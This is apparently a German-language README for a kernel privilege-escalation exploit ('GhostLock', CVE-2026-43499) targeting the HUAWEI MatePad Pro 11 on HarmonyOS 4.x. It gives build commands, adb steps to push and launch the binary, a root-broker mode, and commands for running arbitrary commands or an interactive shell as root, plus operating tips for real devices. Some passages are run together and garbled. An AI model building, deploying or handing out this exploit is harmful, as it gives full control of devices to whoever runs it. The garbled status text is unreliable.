
CVE-2026-43499 (GhostLock) Forschung zu HUAWEI MatePad Pro 11 GOT-W29
CVE-2026-43499-Privilege-Escalation-Anpassung für HUAWEI MatePad Pro 11 (GOT-W29, SM8250 / Snapdragon 870, HarmonyOS 4.x,
Kernel 4.19.157-perf+).
Aktueller Status:
u:r:shell:s0@gl_surandom/uuid ctl_table und verändert weder boot_id noch ashmem-Knotenu:r:kernel:s0 + full caps) ist weiterhin TODOVollständige Prinzipien, Offsets, Fehlermodi und Historie siehe TECHNICAL.md.
cd exploit/ghostlock-source
make -j3
Artefakt:
exploit/ghostlock-source/build/bin/ghostlock_exe
Der aktuelle Build verwendet NDK-Sysroot + Host-Clang für die Cross-Kompilierung, Details siehe exploit/ghostlock-source/TOOLCHAIN.md.
adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe
Route-A-Broker starten:
adb shell /data/local/tmp/ghostlock_exe \
--su-server --simple-root --fake-lock-window \
--detach --probe-cycle --no-rt --attempts 1 \
--leak-timeout 60 --fsync \
--log-file /sdcard/ghostlock-su.log
Bei Erfolg enthält das Log:
simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su
Aus einer weiteren adb shell ausführen:
adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'dein Befehl'
Für eine interaktive Root-Shell muss -t verwendet werden:
adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell
broker weist der Shell ein echtes Steuerterminal zu, daher sollte tty /dev/pts/N anzeigen,
Ctrl-C, Pfeiltasten, jobs und das Wechseln zwischen Vorder- und Hintergrund funktionieren normal.
--fake-lock-window und --detach sind die entscheidenden Parameter für den aktuell sicheren Betrieb auf echtem Gerät.--hold; beende einen Worker, der bereits einen verwaisten Waiter konsumiert hat, nicht direkt mit kill -9.--attempts 1 beibehalten.--verify-write, --verify-read, --verify-all sind Selbsttests des boot_id-Schreibprimitive,
sie verändern die oberen 8 Bytes der boot_id und sollten nur in QEMU oder bei ausdrücklicher Risikoakzeptanz ausgeführt werden.--escalate nicht als Ersatz für Route A; es ist für die Route-B-Forschung reserviert und birgt ein Cred-Lebenszyklusrisiko.cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'
QEMU-Details siehe tools/qemu-test/README.md.
Ziel: u:r:kernel:s0 und vollständige Capabilities erlangen.
Zu lösen:
--simple-root Route-A-Privilegieneskalation
--su-server Root-Broker starten
--rsh CMD Einen einzelnen Befehl ausführen
--rsh-shell Vollständige interaktive PTY-Shell
--fake-lock-window Privaten Fake-Lock im Stack verwenden (für echtes Gerät empfohlen)
--detach Worker, der einen konsumierten Waiter hält, dauerhaft am Leben halten
--probe-cycle Aktuell auf diesem Kernel stabile EDEADLK-Auslösemethode
--no-rt Vermeiden, dass RT-Waiter CFS aushungern
--attempts 1 Bei Fehlschlag auf echtem Gerät nicht erneut versuchen
--log-file PATH Persistentes Log
--fsync final-result-Schreibvorgang auf Datenträger synchronisieren
--help listet alle Selbsttest- und Forschungsparameter auf.